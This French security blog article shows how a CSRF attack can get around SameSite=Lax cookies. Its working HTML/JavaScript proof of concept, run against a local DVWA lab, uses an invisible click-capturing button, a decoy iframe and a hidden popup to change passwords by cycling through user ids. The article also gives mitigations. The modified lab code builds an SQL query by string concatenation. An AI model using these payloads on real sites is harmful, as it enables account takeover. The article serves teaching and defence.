Afin de prévenir les attaques CSRF (Cross-Site Request Forgery), les bonnes pratiques de sécurité, comme celles de l’OWASP, recommandent l’utilisation d’un modèle de jeton de synchronisation ou jeton anti-CSRF.

L’absence de jeton n’entraîne pas nécessairement une vulnérabilité et plusieurs facteurs peuvent rendre l’exploitation difficile ou atténuer l’impact :

  • Attribut SameSite à Lax ou Strict sur le cookie de session ;
  • Utilisation de JSON ou d’un autre format de données ;
  • Utilisation de méthodes autres que GET ou POST.

Le positionnement de l’attribut SameSite à Lax est ce qui va nous intéresser dans cet article.

Cet article montre comment, via une attaque de type CSRF, réaliser plusieurs requêtes cross-origine, malgré la protection du cookie de session via l’attribut SameSite.

Les tests ont été réalisés sur Firefox 126.0 (64-bit) et Chrome 124.0 sous Linux.

L’article est aussi disponible en anglais 🇬🇧

Rappel SameSite

L’attribut SameSite contrôle si un cookie est envoyé avec les requêtes cross-origine / intersites (protocole, domaine ou port différent), offrant ainsi une protection contre les attaques CSRF.

Les valeurs de cet attribut sont les suivantes :

  • Scrict : aucune requête cross-origine n’est autorisée, le clic sur un lien n’enverra pas le cookie concerné
  • Lax : requête cross-origine autorisée pour la méthode GET et que la requête résultant d’une navigation Top-level effectuée par l’utilisateur, par exemple en cliquant sur un lien.
  • None : pas de restriction

En l’absence de positionnement de cet attribut, les navigateurs modernes tendent de plus en plus à traiter le cookie avec la valeur Lax. Ce comportement n’est toutefois pas généralisé, dû aux effets de bord potentiels.

Scénario

  • Une application a configuré SameSite=Lax sur le cookie de session ;
  • L’endpoint /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change est une fonctionnalité administrateur permettant de modifier le mot de passe d’un utilisateur sur l’application ;
  • Le paramètre id identifiant l’utilisateur est itérable, mais non prédictible ;
  • Il n’y a pas de demande d’un second facteur ou du mot de passe actuel sur le formulaire de changement de mot de passe.

Une attaque CSRF classique consisterait à envoyer un lien à un administrateur pointant vers /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change avec le paramètre id correspondant à l’utilisateur à modifier.

Cependant, nous nous plaçons dans le cas où il n’est pas possible de déterminer l’identifiant associé à l’utilisateur que l’on veut modifier. Le paramètre id est cependant itérable, de sorte qu’en incrémentant l’identifiant, on peut tomber sur l’utilisateur souhaité.

Il est donc nécessaire de réaliser plusieurs requêtes pour tomber sur le bon paramètre id.

Dans un scénario d’hameçonnage, un utilisateur ne cliquera probablement que sur un seul des liens envoyés, il faut donc que la cible du lien permette de réaliser plusieurs requêtes.

Pour la preuve de concept, j’ai utilisé une version de la DVWA en modifiant quelques fichiers et paramètres. Si vous souhaitez reproduire mon environnement, les modifications sont détaillées plus bas

Fausse solution – Images multiples

Comment faire plusieurs requêtes GET à partir de l’ouverture d’une unique page ?

On pourrait se dire que des appels AJAX ou Fetch sont une bonne idée, mais les navigateurs mettent en place des restrictions supplémentaires sur ces fonctions, il est donc préférable de passer par des soumissions de formulaire ou autres actions de navigation "naturelles".

Par exemple, Firefox peut bloquer les cookies cross-origine via sa protection Enhanced Tracking Protection

L’utilisation d’image, avec en source notre charge utile, pourrait sembler une bonne idée, car une balise <img /> semble inoffensive. Testons avec le fichier HTML suivant :

<html>
  <body>
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=5&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=4&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=3&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=2&Change=Change">
    <img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=1&Change=Change">
  </body>
</html>

Si un administrateur connecté sur le site ciblé ouvre une page contenant le code ci-dessus, 5 requêtes GET vont bien être réalisées :

Multiples requêtes GET lors du chargement des images

Multiples requêtes GET lors du chargement des images

Cependant, le cookie n’est pas envoyé avec ces requêtes :

Inspection avec Burp de la requête GET réalisée au chargement des images

Inspection avec Burp de la requête GET réalisée au chargement des images

Cela s’explique facilement si on lit la documentation de Firefox à ce sujet :

Lax : Le cookie n’est pas envoyé sur les requêtes inter-sites, telles que les appels pour charger des images ou des iframes, mais il est envoyé lorsqu’un utilisateur navigue vers le site d’origine à partir d’un site externe (par exemple, s’il suit un lien).

Il va donc falloir trouver autre chose !

Solution

L’objectif est d’hameçonner un utilisateur connecté vers une page que l’on contrôle afin que cette page réalise de multiples requêtes GET vers /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change en itérant sur le paramètre id.

Les actions suivantes sont dites de top-level navigation et permettent de réaliser une requête GET avec les cookies configurés avec SameSite=Lax :

  • Cliquer manuellement sur un lien ;
  • Redirection via la modification de la propriété Window.location ;
  • Envoi d’un formulaire avec la méthode GET.

Le problème de ces 3 méthodes est qu’elles vont rediriger notre page vers la page de l’application ciblée. Il ne sera alors pas possible de réaliser d’autres requêtes GET.

Pour palier à ce problème, nous allons utiliser l’édition de la propriété Window.location mais sur un objet Window autre que la page malveillante utilisée, afin d’éviter la redirection de la page.

L’appel à window.open(url,target,windowFeatures) permet de charger une ressource spécifique dans un contexte de navigation (un onglet, une fenêtre ou une iframe). Le retour de cet appel est un objet Window comme souhaité.

Ci-dessous, le code source de la page qui va ouvrir un nouvel onglet vers notre cible et mettre à jour la propriété location afin de réaliser de multiples requêtes GET :

<html>
    <h1>CSRF pop-up PoC</h1>

    <script>
        const pwd = "toto";
        const url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
        var id = 100; 
        var popup = window.open(url+id,"_blank");

        console.log(popup);
        function postLoop() {
            setTimeout(function(){
                if (id > 1){
                    id--;
                    console.log("Mise à jour de l'attribut location pour l'id : "+id);
                    popup.location = url+id ;
                    postLoop();
                }
            }, 500);
        }

        postLoop();
    </script>
</html>

Plusieurs raisons :

  1. Ouvrir 1 onglet ou fenêtre ce n’est déjà pas très discret, alors en ouvrir 50…
  2. Le navigateur va nous en empêcher. Lors de mes tests, Firefox m’autorisait 20 ouvertures d’onglets avant de m’afficher un avertissement (et de bloquer les autres ouvertures) :
Firefox bloquant l'ouverture de multiples onglets

Firefox bloquant l’ouverture de multiples onglets

Bien, testons donc le PoC ci-dessus sur notre application… résultat ?

Firefox bloquant l'ouverture d'un pop-up

Firefox bloquant l’ouverture d’un pop-up

Et oui, fini le bon temps où en ouvrant nos sites louches favoris, ces derniers pouvaient ouvrir de nombreuses publicités avec du contenu très pertinent ! Sauf autorisation explicite, l’ouverture de pop-up est bloquée sur les navigateurs modernes dignes de ce nom (et merci).

Il existe toutefois des évènements qui permettent d’ouvrir des pop-up sans être bloqués : change click dblclick auxclick mousedown mouseup pointerdown pointerup notificationclick reset submit touchend contextmenu, mais ces évènements nécessitent une action utilisateur.

Ici, nous allons :

  • Écouter l’évènement click sur un bouton pour ouvrir notre fenêtre et obtenir un objet Window afin de mettre à jour la propriété location ;
  • Utiliser du CSS pour que notre bouton occupe l’ensemble de la page et soit invisible ;
  • Ajouter une iframe pointant vers la page de l’application légitime, pour ne pas alerter l’utilisateur (en supposant que l’entête X-Frame-Options ne soit pas renvoyé par le site ciblé) ;
  • Ajouter des options pour minimiser la visibilité de la fenêtre ouverte après le clic utilisateur.

Le code modifié est le suivant :

<html>
    <style>
        /* Style pour que le bouton prenne la totalité de la page */
        #openButton {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            z-index: 999; /* S'assurer d'être au dessus des autres éléments */
            opacity: 0; /* boutton invisible */
            cursor: default; /* Montrer un pointeur classique*/
        }
    </style>

    <!-- Iframe pour faire croire à l'utilisateur qu'on est sur une page de l'application -->
    <body>
    <iframe width="100%" height="100%" frameborder="0" src="http://127.0.0.1:4280/index.php"></iframe>

    <!-- Le bouton sur lequel on veut faire cliquer la victime -->
    <button id="openButton">Open Link</button>

    <!-- Intercepter l'évènement sur le clic du boutton pour ouvrir un pop-up sans avertissment -->
    <script>
    document.getElementById('openButton').addEventListener('click', function(event) {
        const pwd = "CSRF_succeed"
        var url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
        var id = 100;
        var features = 'width=1,height=1,left=10000,top=10000,toolbar=no,location=no,status=no,menubar=no,scrollbars=no';
        var popup = window.open(url+id,'_blank',features);

        // Modification régulière de la proprité location du pop-up
        // pour réaliser de multiples requêtes GET
        console.log(popup);
        console.log(popup.location);
        function getLoop() {
            setTimeout(function(){
                if (id > 1){
                    id--;
                    console.log("update open location to id "+id);
                    popup.location = url+id ;
                    getLoop();
                }
            }, 100);
        }

        getLoop();
    });

    </script>
    </body>

</html>

Testons cela, en simulant notre attaque :

On peut voir les choses suivantes :

  1. L’utilisateur se connecte sur l’application DVWA ;
  2. Il ouvre une nouvelle fenêtre et navigue sur notre lien hébergeant notre charge utile (on simule de l’hameçonnage) ;
  3. Lors du clic, on peut voir dans la console que la propriété location de la fenêtre est mise à jour très rapidement ;
  4. La fenêtre ouverte était sur un second écran et en tout petit, ce qui la rend assez invisible à l’utilisateur ;
  5. En étendant cette fenêtre, on constate que la dernière requête a mis à jour le mot de passe, ce que l’on constate en se déconnectant de l’application puis en tentant de se connecter avec l’ancien mot de passe.

Note : Les manières de cacher ou réduire la fenêtre ouverte varie selon les navigateurs

Pour aller plus loin

Être (un peu) plus discret

Dans le PoC ci-dessus, on laisse la fenêtre ouverte pour pouvoir l’agrandir et constater le changement de mot de passe. Il est bien évidemment possible de la fermer après avoir réalisé les requêtes et aussi de rediriger notre page malveillante initiale vers le site légitime.

On peut ainsi modifier notre fonction getLoop en ajoutant une condition else pour gérer la fin de nos requêtes :

function getLoop() {
    setTimeout(function(){
        if (id > 1){
            id--;
            console.log("update open location to id "+id);
            popup.location = url+id ;
            getLoop();
        }else{
            // on ferme notre fenêtre & on redirige la page actuelle
            popup.close();
            window.location = "http://127.0.0.1:4280/index.php";
        }
    }, 10);
}

"Trop nul, que des requêtes GET !"

Il existe des contournements permettant de réaliser des requêtes avec d’autres méthodes. Notamment, des frameworks Web supportant la surcharge de méthode. Par exemple, avec Symfony, il est possible de spécifier un paramètre _method qui indiquera la méthode réelle utilisée.

Je ne vais pas détailler ces points, de nombreux articles les expliquent déjà très bien. L’article Bypassing Samesite Cookie Restrictions with Method Override liste une partie des framework Web supportant la surcharge de méthode.

De plus, PortSwigger a aussi réalisé un lab pour tester ce comportement.

Enfin, de manière plus simple, certaines applications Web récupère les données de paramètre transmis, indépendamment du fait qu’ils soient passés dans le corps de la requête via une méthode POST ou en url via GET. Quelques exemples :

  • PHP : variable superglobale $_REQUEST["param"] ;
  • Java (Spring Boot) : la méthode getParameter("param") sur un objet HttpServletRequest ;

Correction

Comment se protéger contre cette attaque ? La meilleure solution reste de mettre en place un jeton anti-CSRF en suivant les bonnes pratiques de l’OWASP. Sa mise en place peut toutefois demander du développement supplémentaire, pas forcément évident si la technologie utilisée ne propose pas de solution déjà pré-faite.

Des solutions alternatives peuvent être mises en place en premier lieu. Dans les solutions suivantes, il est supposé que le cookie de session possède toujours l’attribut SameSite à Lax :

  • Cookie avec l’option SameSite à Strict : Efficace, mais va impacter l’ergonomie, car aucune requête inter-site ne sera permise avec les cookies, même les redirections ou le clic sur des liens ;
  • Utiliser des méthodes autres que GET : Le cookie de session ne sera pas transmis grâce à l’attribut SameSite à Lax.
  • Imposer un 2ème facteur pour la réalisation des actions sensibles, le mot de passe actuel de l’utilisateur par exemple.

Application de test utilisée

L’application utilisée pour le PoC est, pour des raisons de simplicité, la DVWA.

La ligne 54 du fichier DVWA/dvwa/includes/dvwaPage.inc.php la fonction dvwa_start_session est modifiée pour positionner la valeur de l’attribut SameSite à Lax :

    else {
        $httponly = false;
        $samesite = "Lax";
    }

Sur la page de changement du mot de passe, on ajoute la vérification de l’identifiant passé en paramètre devant correspondre à l’utilisateur connecté. Pour cela, on modifie le fichier DVWA/vulnerabilities/csrf/source/low.php :

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    $id_input = $_GET['id'];

    $current_user = dvwaCurrentUser();

    // get current user id and check if supplied id match
    $query = "SELECT `user_id` FROM users WHERE user= '" . $current_user . "';";
    $res =  mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $user_id = mysqli_fetch_assoc($res)['user_id'];

    $html .= "<pre> id from DB : ".$user_id. "</br>ID provided: ".$id_input."</br></pre>";

    // Do the passwords match and user id match ?
    if( $pass_new == $pass_conf && $user_id == $id_input) {
        [pas de modification]
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords or id did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

On peut aussi modifier le formulaire à la ligne 62 du fichier DVWA/vulnerabilities/csrf/index.php pour ajouter le champ id dans la demande de changement de mot de passe :

$page[ 'body' ] .= "
            New password:<br />
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\"><br />
            Confirm new password:<br />
            <input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\"><br />
            ID of account:<br />
            <input type=\"text\" AUTOCOMPLETE=\"off\" name=\"id\"><br />
            <br />
            <input type=\"submit\" value=\"Change\" name=\"Change\">\n";

Une fois les modifications apportées, on peut construire les images et lancer les conteneurs. La commande lancée dans le dossier racine DVWA : sudo docker-compose up -d --build.

Puis, on modifie le niveau de sécurité de l’application depuis l’interface à Low pour que l’application utilise la fonctionnalité de changement de mot de passe qui a été modifiée :

Changement du niveau de sécurité dans l’interface DVWA

Références